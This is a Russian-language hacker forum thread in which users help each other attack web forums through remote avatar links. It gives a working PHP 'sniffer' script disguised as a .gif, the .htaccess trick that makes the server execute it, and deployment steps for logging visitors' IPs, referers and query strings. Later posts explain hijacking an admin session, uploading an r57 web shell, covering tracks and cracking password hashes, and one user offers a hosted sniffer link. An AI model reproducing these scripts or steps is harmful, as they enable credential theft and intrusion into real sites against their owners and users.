Поиск  Пользователи  Правила 
Закрыть
Логин:
Пароль:
Забыли свой пароль?
Войти
 
Страницы: 1
RSS
Вставить php-файл вместо аватара
 
На одном форуме можно указывать в качестве аватара удалённый http-ресурс. При указании этот файл НЕ сохраняется на серваке, а просто указывается его адрес. То есть грузится удалённо. Напрашивается мысль о возможной XSS-атаке. Но я в php не силён. Кто подскажет php-код для этого дела?
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Вот код на элементарный, но хороший снифер написанный на PHP:
Код
 lt;?
$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv(QUERY_STRING));
$ref=UrlDecode(getenv(HTTP_REFERER));
$ip=getenv(REMOTE_ADDR);
$now = getdate(); 
$nowstring=$now[mday].".".$now[mon].".".$now[year]." ".$now[hours].":".$now[minutes].":".$now[seconds];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
fputs ($file, $str);
fclose($file);
header(Location: [B]avatar.gif[/B]);
? gt;

Если посмотришь на код, то в директории с этим скриптом должно лежать изображение, которое увидят в качестве аватара и его название судя из скрипта, должно быть avtar, в .gif разрешении.
Теперь о том как же нам обмануть форму для указывания ссылки, обычно на форумах ссылку можно указывать на разрешения gif, jpg и png, а скрипт наш имеет разрешение .php, не беда пропиши в .htaccess следующее:
Код
[B]application/x-httpd-php .gif[/B]

это заставит сервер обрабатывать файлы с этим изображением через PHP интерпретатор и код выполнится

Еще раз для тех кто в танке =)))
Надо ХОСТ с поддержкой PHP и возможностью устанавливать .htaccess настройки на директивы.
Дальше к примеру создаешь скрипт с моим исходным кодом и даешь ему название snif.gif(с разрешением .gif), а также помещаешь в туже директиву файл с нужным аватаром avatar.gif, потом пишешь туда еще .htaccess, с содержимым, что я дал, к примеру все будет в корневом каталоге твоего сайта, вот файлы:
www.yoursite.com/snif.gif
www.yoursite.com/avatar.gif

Теперь раскажу как все это будет выглядеть, на том форуме в поле где надо вставить ссылку на аватар, укажи следующюю ссылку http://www.yoursite.com/snif.gif, после того как ты опубликуешь что нибудь на форуме, там будет в поле аватара вставлятся твоя  ссылка в исходном коде генерируемой ссылки это будет выглядеть так:
Код
 lt;img src=http://www.yoursite.com/snif.gif gt;

При генерации страницы браузер начнет грузить изображение с указанного тобой сайта, он сделает к нему обращение, вот только это не изображение, а код снифера, который сначала выполнится, запишет все в LOG-файл, а потом выведет изображение avatar.gif, которое будет у тебя на форуме в качестве аватара
ВСЕ!!! =)))

<font color=RED>З.Ы. На форуме может стоять на это фильтр(защита)</font>
З.Ы.2 Все названия сайтов я придумал.
 
Большое спасибо. Так вроде бы понятно, завтра на практике испытаю.

А можно как-нибудь шелл поиметь? Пытался загрузить скрипт с содержимым:
Код
 lt;?php
passthru("ls")
? gt;


Скрипт грузится (вижу, что место под кактинку появилось), однако результата работы его не видно ни вверху ни внизу страницы
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Видишь справа от форума, есть поле Софт, там высвечивает три самые последне добавленные ссылки на софт, так что скоро и исчезнет.
Так там есть ссылка на <a href=http://www.securitylab.ru/tools/43443.html rel="nofollow" target="_blank">r57shell v1.22</a> неплохой шелл.
Как же его в твоем случае запихнуть.
В твоем случае надо перехватить сессию админа, потом зайти в админку, там есть раздел для загрузки файлов на форум, поумолчанию там стоит jpg, gif и png, добавишь php, зальешь файл на атакуемый хост, потом в качестве заметения следов удалишь из этого поля допуск на закачку PHP и можешь юзать шелл. Писал описания для большинства форумов, но на некоторых непрокатит, например для IPB, для входа в админку надо ввести пароль, так что еще скорее всего надо будет расшифровывать md5hash.
 
Dimitri
Цитата
для IPB, для входа в админку надо ввести пароль, так что еще скорее всего надо будет расшифровывать md5hash.
Это для IPB v1.x.x Для IPB v2.x.x - не прокатит: там дважды шифруется по md5.
У меня как раз аналогичная ситуация: доступ по паролю, да ещё непонятно как зашифровано: явно не md5

Цитата
В твоем случае надо перехватить сессию админа, потом зайти в админку, там есть раздел для загрузки файлов
Это всё понятно: когда-то именно так и делал. Но вопрос несколько другой: вот я могу вместо аватара вставить скрипт. Можно ли этим воспользоваться и вставить шелл-скрипт? По идее он должен выполняться, но у меня не выполнялся... Грузился, но результата работы я не увидел...
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Dimitri
Код
/* сдесь нужно было внутри скобок всё выражение обрамить с обоих сторон " */
header(Location: avatar.gif);
? gt;/* пробела между этими символами быть не должно */

Надо полагать, это просто невнимательность, замаскированная под защиту от дурака ;)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
Dimitri
Что-то твой сниффер не хочет куки тырить.
Вот что получил: [12.7.2005 19:43:40] IP=*.*.*.* REFERER=http://www.site.com/newreply.php QUERY=
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
куки тырить он и не будет.
прочитайте <a href=http://www.securitylab.ru/52234.html rel="nofollow" target="_blank">тут</a>
 
Цитата
Shanker пишет:
Dimitri
Что-то твой сниффер не хочет куки тырить.
Вот что получил: [12.7.2005 19:43:40] IP=*.*.*.* REFERER=http://www.site.com/newreply.php QUERY=
Не путай ежа с ужом, куки снифер тырить не будет, для этого надо тебе искать возможность обойти фильтр на script и вставить туда jаvаscriрt, Phoenix тебе на хорошую статью поэтому поводу кинул линк =)))
З.Ы. Некоторые форумы несут индикатор сессии не только в куках, к примеру такой форум как forum.xakep.ru передает пароль и имя юзаря в QUERY запросе, в чистом и не зашифрованном виде =)))


Цитата
Shanker пишет:
Это для IPB v1.x.x Для IPB v2.x.x - не прокатит: там дважды шифруется по md5.
я знаю (у меня стоит  IPB форум), то я так написал, поскольку думал что ты не особо его знаешь и зачем было тогда усложнять ответ


Цитата
Shanker пишет:
У меня как раз аналогичная ситуация: доступ по паролю, да еще непонятно как зашифровано: явно не md5
Может DES hash, попробуй. И вообще если форум самопальный, то сам бог знает, что там его создатель придумал, я бы лично при создании сессий генерировал бы так, привязал бы ник к текущему времени на сервере, приплюсовал бы к нему текущую температуру процессора и обработал по какой нибудь математической формуле, и сопоставлял в отдельной базе полученный мною идентификационный сгенерированый ключ, кукам и конкретному пользователю, при выхода из акаунта(пере авторизации, этот ключ удалял. Даже если ты будешь знать по какой формуле я , я сделал, чтобы скрипт генерировал ключи для пользователей, ты не сможешь его расшифровать, поскольку ты не знаешь, точного времени авторизации юзаря и к примеру температуры процессора на сервере.
Это  все ИМХО, я бы лично так делал авторизацию и дальнейшую аутентификацию пользователей на моем форуме и думаю в ближайшее время так и сделаю (С температурой процессора я пошутил, хотя кто знает можно сделать так, что бы сервер обращался в метеорологический центр и брал там к примеру текущую температуру, какого нибудь вулкана:)
 
Phoenix
Кажись, статья - как раз то, что мне нужно. Жаль, что я php почти незнаю. Чтож.. придётся начать разбираться в нём :)
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
А откуда собственно скипт запускать, есть у меня аккаунт на платном хостинге, но там я изменять htaccess не могу, так как прописав application/x-httpd-php .gif, мой сайт нормально работать не будет, а он должен как часы работать, и вот еще один ламоботский вопрос - что такое шелл?
 
lt;?
$log="log.txt";
$file = fopen ($log, "a+");
$qu=UrlDecode(getenv(QUERY_STRING));
$ref=UrlDecode(getenv(HTTP_REFERER));
$ip=getenv(REMOTE_ADDR);
$now = getdate();
$nowstring=$now[mday].".".$now[mon].".".$now[year]." ".$now[hours].":".$now[minutes].":".$now[seconds];
$str="[$nowstring] IP=$ip REFERER=$ref QUERY=$qu\n";
fputs ($file, $str);
fclose($file);
header(Location: avatar.gif);
? gt;

в этих строках кое-что наверно заменить надо? и файл log.txt надо ли самому создавать?
 
На форуме сайта sem40.ru(phpbb), я такую феньку проделать попытался, но в итоге аватарка не отображалась заменялась на такое вот значение
lt;img src="images/avatars/145376803142d57abd27b82.gif" alt="" border="0" / gt;
 
Цитата
Shanker пишет:
Dimitri
Код
/* сдесь нужно было внутри скобок всё выражение обрамить с обоих сторон " */
header(Location: avatar.gif);
? gt;/* пробела между этими символами быть не должно */

Надо полагать, это просто невнимательность, замаскированная под защиту от дурака ;)

Никакой невнимательности и защиты от дурака нет, просто я в скрипте в основном использовал одинарные кавычки, а движок форума так настроен из соображений безопасности, что бы их опускать...

Вот тут можете просмотреть полную версию снифера <a href=http://anti-hit.narod.ru/snif.txt rel="nofollow" target="_blank">snif.txt</a>
 
Цитата
Master_Iodo пишет:
А откуда собственно скрипт запускать, есть у меня аккаунт на платном хостинге, но там я изменять htaccess не могу, так как прописав application/x-httpd-php .gif, мой сайт нормально работать не будет, а он должен как часы работать
Я чего то непонял так у тебя есть возможность использования htaccess или нет?
Вобще то все должно работать, ведь в главном конфиге на серваке должно быть указанно:
Код
[B]application/x-httpd-php .php[/B]

но можешь попробовать в .htaccess прописать
Код
[B] application/x-httpd-php .php
application/x-httpd-php .gif[/B]

а если уж сильно сомневаешься, то создай отдельную директорию для снифера, помести его туда и помести в ту директорию htaccess с содержимым:
Код
[B]application/x-httpd-php .gif[/B]

и действие его будет распространяться только на ту директорию, а не на весь сайт =)))
Вобще то если не понял, то это обычная команда объясняющая тип серверу, например этой командой <font color=RED>application/x-httpd-php .php</font> мы всего лишь объясняем серверу, что файлы с разрешением .php нужно обрабатывать через PHP интерпретатор, этаже история и с .gif, единственный минус, так это то, что увеличится в случае если ты будешь использовать .gif через интерпретатор PHP нагрузка на сервер, поскольку графические изображения будут проходить через интерпретатор

Цитата
Master_Iodo пишет:
что такое шелл?
1)Для начала, хотя бы прочитал <a href=http://www.securitylab.ru/forum/forum_posts.asp?TID=4918 PN=1 rel="nofollow" target="_blank">FAQ</a> форума(там есть ответ)
2)Учись пользоваться поисковиками <a href=http://www.google.com.ua/search?q=%D1%87%D1%82%D0%BE%2B%D1%82%D0%B0%D0%BA%D0%BE%D0%B5%2B%D1%­88%D0%B5%D0%BB%D0%BB  rel="nofollow" target="_blank"> http://www.google.com.ua/search?q=%D1%87%D1%82%D0%BE%2B%D1%8 2%D0%B0%D0%BA%D0%BE%D0%B5%2B%D1%88%D0%B5%D0%BB%D0%BB  </a>
 
Цитата
Dimitri пишет:

Не путай ежа с ужом, куки снифер тырить не будет, для этого надо тебе искать возможность обойти фильтр на script и вставить туда jаvаscriрt, Phoenix тебе на хорошую статью поэтому поводу кинул линк =)))
З.Ы. Некоторые форумы несут индикатор сессии не только в куках, к примеру такой форум как forum.xakep.ru передает пароль и имя юзаря в QUERY запросе, в чистом и не зашифрованном виде =)))
Я так понимаю, QUERY - эта переменные окружения, то, что передаётся серваку как параметр в браузере? Почему-то у меня QUERY всегда пусто на любых форумах. Зато в реферере передаются некоторые параметры
Насчёт форума на Хакер.Ру : только при предпросмотре такая фишка: после публикации ни логина ни пасса не передаётся. Кстати, на этом же форуме (в смысле  Хакер.Ру) QUERY тоже чист, опять в реферрере передалось user= и password=
В скрипте нет ошибки или я чего-то не понимаю?  
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
 
QUERY - это то, что после "?"
к примеру: http://www.securitylab.ru/forum/forum_posts.asp?TID=17787&PN=1&TPN=2

REFERER - это с откудого пришел: http://www.securitylab.ru/forum/forum_topics.asp?FID=7

P.S.
если нет своего можешь юзать это:
http://xpow.antishare.net/s/
http://xpow.antishare.net/s/pic.gif
 
Цитата
xPow пишет:
QUERY - это то, что после "?"
Ну, да: я вроде так и описал это.

Цитата
xPow пишет:
REFERER - это с откудого пришел:
Это я тоже знаю ;)

Попробую заюзать твой скрипт, спасибо
"Красота - как специи, которые хорошую еду делают ещё вкуснее, а без еды есть невозможно."
Страницы: 1
Читают тему